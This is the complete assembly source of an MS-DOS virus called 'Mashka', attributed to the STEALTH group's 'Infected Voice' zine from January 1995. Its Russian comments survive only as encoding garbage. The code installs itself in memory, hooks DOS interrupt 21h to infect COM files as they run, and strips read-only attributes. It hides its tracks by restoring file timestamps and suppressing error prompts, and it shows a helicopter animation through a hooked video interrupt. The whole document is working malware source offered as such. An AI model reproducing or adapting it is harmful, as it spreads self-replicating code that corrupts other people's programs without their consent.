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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.mashka.asm

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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B> STEALTH group ۰ <20> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20> <20> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><> <20><> <20><>
;<3B> presents ۰ <20> <20> <20> <20><> <20><> <20> <20> <20><> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۰ <20> <20> <20> <20> <20><><EFBFBD> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> JAN 1995
;
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
; ===========================================================================
TITLE Virus Mashka ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>饥 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> !
seg_a segment para 'code'
assume cs:seg_a,ds:seg_a
org 100h
start:
call $+3 ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> call
pop bx
push es
sub bx,3 ;<3B><>砫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
push bx
mov ax,0e200h ;<3B>ࠤ<EFBFBD>樮<EFBFBD><E6A8AE><EFBFBD><EFBFBD> <20>஢<EFBFBD>ઠ <20><> <20><><EFBFBD><EFBFBD>稥 <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int 21h
cmp al,22h
jnz res ;<3B>᫨ <20><><EFBFBD> <20><><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD>
jmp short nores ;<3B><> 㦥 <20><><EFBFBD><EFBFBD>
res:
mov ax,ds
dec ax
mov ds,ax ;ᥣ<><E1A5A3><EFBFBD><EFBFBD> MSB
mov ax,word ptr ds:[3]
sub ax,(offset virend - offset start)/10h+1+20h ;㬥<><E3ACA5>蠥<EFBFBD> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
mov word ptr ds:[3],ax
mov ax,ds
inc ax
mov ds,ax
mov ax,word ptr ds:[2] ;<3B><><EFBFBD><EFBFBD><EFBFBD> ᢮<><E1A2AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub ax,(offset virend - offset start)/10h+1+20h ;<3B>⭨<EFBFBD><E2ADA8><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD> vir'<27>
mov es,ax
mov word ptr ds:[2],ax
mov cx,offset virend - offset start
mov si,bx
xor di,di
push cs
pop ds
rep movsb ; <20><>४<EFBFBD>稢<EFBFBD><E7A8A2><EFBFBD> ⥫<> <20> <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> es:di
push es
pop ds
mov ax,3521h ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20><><EFBFBD> <20>ந<EFBFBD>室<EFBFBD><E5AEA4>
int 21h
mov word ptr ds:[offset int21e - offset start],bx
mov word ptr ds:[offset int21e+2 - offset start],es
mov ax,2521h
mov dx,offset int21entry - offset start
int 21h ; <20><><EFBFBD><EFBFBD>墠<EFBFBD>뢠<EFBFBD><EBA2A0> int 21h
mov ax,3510h
int 21h
mov word ptr ds:[offset int10e - offset start],bx
mov word ptr ds:[offset int10e+2 - offset start],es
mov ax,2510h
mov dx,offset int10entry - offset start
int 21h ; <20><><EFBFBD><EFBFBD>墠<EFBFBD>뢠<EFBFBD><EBA2A0> int 10h
; <20><><EFBFBD> <20><><EFBFBD>⮫<EFBFBD><E2AEAB><EFBFBD>
nores:
; <20>᫨ <20><><EFBFBD><EFBFBD><EFBFBD> 㦥 <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20><> <20><>⠥<EFBFBD><E2A0A5><EFBFBD> ⮫쪮 ࠤ<><E0A0A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pop bx
; ᥩ<><E1A5A9><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> ,
; <20><>१<EFBFBD><E0A5A7><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>砫<EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>
mov ax,word ptr cs:[bx + offset real - offset start]
mov bx,word ptr cs:[bx + offset real - offset start + 2]
push cs
pop ds
mov word ptr cs:[100h],ax ;ᮮ⢥<E1AEAE><E2A2A5>⢥<EFBFBD><E2A2A5><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>頥<EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
mov word ptr cs:[102h],bx
mov ax,100h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>砫<EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>
pop es
push ax
ret
real dw 4cb4h ; <20><><EFBFBD> <20><><EFBFBD> த<><E0AEA4><EFBFBD><EFBFBD> , <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> !
dw 21cdh
INT21entry:
cmp ax,0e200h ; <20>஢<EFBFBD><E0AEA2>塞 ᮡ<>⢥<EFBFBD><E2A2A5><EFBFBD><EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD>,
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>믮<EFBFBD><EBAFAE><EFBFBD><EFBFBD><EFBFBD> <20>⮡<EFBFBD> <20>஢<EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD>
; ᢮<> <20><><EFBFBD><EFBFBD>稥 <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
jnz d01
mov al,22h
iret
d01:
cmp ax,0e233h ; ᥪ<><E1A5AA>⭠<EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD> , <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD> <20> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>-
; <20><><EFBFBD> <20><EFBFBD> <20><><EFBFBD>ᨨ
jnz d1
mov al,22h
mov bx,cs
; <20><><EFBFBD> <20><><EFBFBD> , <20><><EFBFBD> offset'<27>
mov cx,offset real - offset start
mov dx,offset int21e - offset start
mov si,offset int10e - offset start
iret
d1:
cmp ah,4bh ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20>㭪<EFBFBD><E3ADAA><EFBFBD> 4b - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>稭<EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>
jz in4b
jmp exitint21 ; <20>᫨ <20><> 4b , <20><> <20><> <20><><EFBFBD> ࠢ<><E0A0A2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD> <20><20><><EFBFBD>筮 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 21h
in4b:
push ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> ! <20><><EFBFBD><EFBFBD>⮢<EFBFBD><E2AEA2> <20><>ப<EFBFBD> 'PSQR'
push bx
push cx
push dx
push es
push ds
push si
push di
push dx
push ds
push cs
pop ds
mov ax,2524h
mov dx,offset int24entry - offset start
int 21h ;<3B><><EFBFBD><EFBFBD>墠<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪮<EFBFBD> <20>訡<EFBFBD><E8A8A1>
;<3B>ந<EFBFBD>室<EFBFBD><E5AEA4> ⮫쪮 <20><><EFBFBD> <20><><EFBFBD><EFBFBD>᪥,
;<3B><><EFBFBD><EFBFBD> 䠩<><E4A0A9> <20><> <20><><EFBFBD><EFBFBD>⠫<EFBFBD><E2A0AB><EFBFBD> <20><>
;<3B>ਭ<EFBFBD><E0A8AD><EFBFBD> , <20><><EFBFBD><EFBFBD>ண<EFBFBD> <20><><EFBFBD><EFBFBD> !
pop ds
pop dx
call cmpnol ;<3B>饬 <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
call cmpcom ;<3B> <20><> COM <20><> <20><><EFBFBD> <20><><EFBFBD>砩<EFBFBD><E7A0A9> ?
jnc pr1 ; <20><><EFBFBD> ! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>-⠪<> COM !
jmp exit ; <20><> <20><> <20>㤥<EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD>, <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ...
pr1:
;<3B><><EFBFBD>࠭塞 <20> <20><>६<EFBFBD><E0A5AC><EFBFBD><EFBFBD><EFBFBD> ᥣ<><E1A5A3><EFBFBD><EFBFBD> <20> ᬥ饭<E1ACA5><E9A5AD> <20><><EFBFBD><EFBFBD>᪠<EFBFBD><E1AAA0><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>
mov word ptr cs:[offset adname - offset start],dx
mov word ptr cs:[offset adname - offset start+2],ds
call catt ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><>ਡ<EFBFBD><E0A8A1><EFBFBD>
mov ax,3d02h ;<3B><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> 䠩<>
int 21h
mov bx,ax
call gettime ;<3B><><EFBFBD><EFBFBD>砥<EFBFBD> <20> <20><><EFBFBD>࠭塞 <20>६<EFBFBD>
; <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>祪 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>筮 <20><><EFBFBD>,
; <20><> <20><><EFBFBD> <20>뫮 <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD>ࠢ<EFBFBD><E0A0A2>
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push ds
push cs
pop ds ; ᥣ<><E1A5A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
mov ax,4200h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>筮 <20>뫮 <20><><EFBFBD> <20><><EFBFBD><EFBFBD>⠭<EFBFBD> ,<2C><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,
; CX:DX <20><><EFBFBD> ࠢ<><E0A0A2> <20>㫨
int 21h
mov ah,3fh
mov dx,offset virend - offset start
mov cx,4h
int 21h ; <20><>⠥<EFBFBD> <20><>砫<EFBFBD> 䠩<><E4A0A9> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>ᮬ
; <20>᫨ <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD> , <20><> <20><>⢥<EFBFBD><E2A2A5><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> 'Q'
cmp byte ptr ds:[offset virend - offset start + 3],'Q'
jnz ok2
pop ds
jmp closeexit ; <20><>室 <20> <20><><EFBFBD><EFBFBD><EFBFBD>⨥<EFBFBD> 䠩<><E4A0A9> <20> <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> <20><>⠫쭮<E2A0AB><ECADAE>
; <20><><EFBFBD><EFBFBD><EFBFBD>
ok2:
xor si,si
mov dx,0 - 200h
p2:
;᫥<><E1ABA5><EFBFBD>騩 <20>ࠣ<EFBFBD><E0A0A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>᫥<EFBFBD><E1ABA5><EFBFBD><EFBFBD>⥫쭮 <20><><EFBFBD><EFBFBD> 䠩<>
;<3B><> 200h <20> ᪠<><E1AAA0><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <20>㫥<EFBFBD> (<28> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 777),
mov ax,4200h
add dx,200h
xor cx,cx
int 21h
push ax
mov ah,3fh
mov dx,offset virend - offset start
mov cx,200h
int 21h
cmp ax,0
jnz d3
pop dx ; 䠩<> <20><><EFBFBD><EFBFBD><EFBFBD>稫<EFBFBD><E7A8AB>
jmp d2
d3:
cmp ax,200h
jz ok4
add ax,offset virend - offset start
mov di,ax
mov word ptr ds:[di],0ffh ; <20> <20><><EFBFBD> <20><><EFBFBD>-<2D><> <20>த<EFBFBD> <20><><EFBFBD>殢<EFBFBD>窨
ok4:
call scanspace ; ᪠<><E1AAA0><EFBFBD>㥬 <20><><EFBFBD><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD> 200h
pop dx
cmp si,offset virend - offset start
jc p2 ; <20>᫨ <20><><EFBFBD>-<2D><> <20>㫥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 祬 ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><> <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᪠<><E1AAA0>஢<EFBFBD><E0AEA2><EFBFBD><EFBFBD>
sub di,(offset virend - offset start)
add dx,di
sub dx,si
push dx ; <20> DX ᬥ饭<E1ACA5><E9A5AD> <20> 䠩<><E4A0A9> ,<2C><><EFBFBD><EFBFBD>஥ 㪠<>뢠<EFBFBD><EBA2A0> <20><>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD>ﬨ
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ah,3fh
mov cx,4h
mov dx,offset real - offset start
int 21h ; <20><>⠥<EFBFBD> ॠ<><E0A5A0><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⨪<EFBFBD> <20>ண<EFBFBD>.
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov si,offset virend - offset start
mov byte ptr ds:[si],0e9h
pop dx
push dx
sub dx,3
mov word ptr ds:[si+1],dx ; <20><><EFBFBD><EFBFBD><EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>砫<EFBFBD><E7A0AB><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
mov byte ptr ds:[si+3],'Q' ; <20> <20><><EFBFBD> <20><>⪠ <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
mov ah,40h
mov cx,4h
mov dx,offset virend - offset start
int 21h ; <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20><>
pop dx ; <20> DX <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD>ﬨ
xor cx,cx
mov ax,4200h
int 21h
mov ah,40h
mov cx,offset virend - offset start
xor dx,dx
int 21h ; <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20>㤠 ⥫<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
d2:
pop ds
closeexit:
call puttime ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>६<EFBFBD>
mov ah,3eh
int 21h ; <20><><EFBFBD> ! ࠡ<>稩 <20><><EFBFBD><EFBFBD> <20><><EFBFBD>稫<EFBFBD><E7A8AB> !
exit:
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah
int21e dw ?
dw ?
adname dw ?
dw ?
int24entry:
mov ax,0h ; <20> <20><><EFBFBD> ABORT ! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD> <20><> <20><> <20> <20>⠫<EFBFBD><E2A0AB> !
iret
time dw ?
dw ?
;------------------------------------- <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
cmpnol:
mov bx,dx
nol:
inc bx
cmp byte ptr ds:[bx],0h
jnz nol
ret
;------------------------------------- <20>஢<EFBFBD>ઠ <20><> COM
cmpcom:
cmp word ptr ds:[bx-2],'MO'
clc
jz exitcmpexe
stc
exitcmpexe:
ret
;--------------------------------------- <20><><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> <20> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD> <20><>ଠ<EFBFBD><E0ACA0><EFBFBD><EFBFBD><EFBFBD>
; <20><>ਡ<EFBFBD>⮢
catt:
push ds
push dx
mov ax,4300h
LDS dx,dword ptr cs:[offset adname - offset start]
int 21h
and cl,11111110b
mov ax,4301h
int 21h
pop dx
pop ds
ret
;--------------------------------------- <20><><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> <20> <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD><EFBFBD> <20>६<EFBFBD><E0A5AC><EFBFBD>
gettime:
mov ax,5700h
int 21h
and cl,11100000b
mov word ptr cs:[offset time - offset start],cx
mov word ptr cs:[offset time - offset start+2],dx
ret
;----------------------------------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>饭<EFBFBD><E9A5AD> <20><><EFBFBD>ண<EFBFBD> <20>६<EFBFBD><E0A5AC><EFBFBD> ;)
puttime:
mov ax,5701h
mov cx,word ptr cs:[offset time - offset start]
mov dx,word ptr cs:[offset time - offset start+2]
int 21h
ret
;------------------------------------------ ᪠<><E1AAA0>஢<EFBFBD><E0AEA2><EFBFBD><EFBFBD> <20><> <20>㫨
scanspace:
mov di,offset virend - offset start - 1
opsc:
inc di
cmp di,(offset virend - offset start) + 200h
jnc exsc
mov al,ds:[di]
cmp al,0
jnz clscan
inc si
jmp opsc
exsc:
ret
clscan:
cmp si,offset virend - offset start
jc ok3
ret
ok3:
xor si,si
jmp opsc
int10entry:
cmp ax,0005h ; <20>஢<EFBFBD>ઠ <20><> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CGA 320x200
jz svert ; <20>᫨ ⠪<><E2A0AA><EFBFBD><EFBFBD>, <20><> <20><><EFBFBD>㥬 <20>஫<EFBFBD><E0AEAB><EFBFBD><EFBFBD>騩 <20><><EFBFBD>⮫<EFBFBD><E2AEAB>
exitint10:
db 0eah
int10e dw ?
dw ?
svert:
cmp si,22h
jz exitint10 ; <20><>室<EFBFBD><E5AEA4> ᮡ<>⢥<EFBFBD><E2A2A5><EFBFBD><EFBFBD> <20>맮<EFBFBD><EBA7AE>
; <20><> <20> <20><><EFBFBD> - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> !
vert:
push ds
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push cs
pop ds
mov ax,0b800h
mov es,ax
mov si,22h
mov ax,5
int 10h
mov cx,70
mov dx,30
bb:
push cx
mov cx,6000h
zlp:
loop zlp
pop cx
call bert
loop bb
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop ds
jmp exitint10
;------------------------
bert:
push dx
push cx
push ax
push si
push di
mov ax,dx
mov bx,80
mul bx
add ax,cx
mov di,ax
mov bp,0
mov si,offset berts - offset start
opbert:
mov cx,6
push di
rep movsb
pop di
add di,2000h
inc bp
cmp bp,12
je exbert
mov cx,6
push di
rep movsb
pop di
sub di,2000h-80
inc bp
cmp bp,12
je exbert
jmp opbert
exbert:
pop di
pop si
pop ax
pop cx
pop dx
ret
;================================
berts db 0,0,0,0,0,0 ; <20><><EFBFBD>⮫<EFBFBD><E2AEAB>, <20><><EFBFBD> <20><>-<2D><>ࠨ<EFBFBD>᪨ - 奫<><E5A5AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
db 0,0,0,0,0,0
db 0,0,55h,40h,0,0
db 0,0,4,0,0,0
db 0,1,44h,0,0,0
db 0,15h,55h,0,4,0
db 0,50h,57h,55h,55h,0
db 0,15h,75h,55h,4,0
db 0,5,55h,0,0,0
db 0,0,10h,0,0,0
db 0,0,0,0,0,0
db 0,0,0,0,0,0
;=================================
db '<27><><EFBFBD>೟<EFBFBD><E0B39F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>྇ཎ<E0BE87><E0BD8E><EFBFBD><EFBFBD><EFBFBD>' ; <20><><EFBFBD><EFBFBD><EFBFBD>஢<EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20><>᫠<EFBFBD><E1ABA0><EFBFBD> <20><>⮬<EFBFBD><E2AEAC><EFBFBD>
; <><EEA7A0><EFBFBD> NEG.
virend:
seg_a ends
end start
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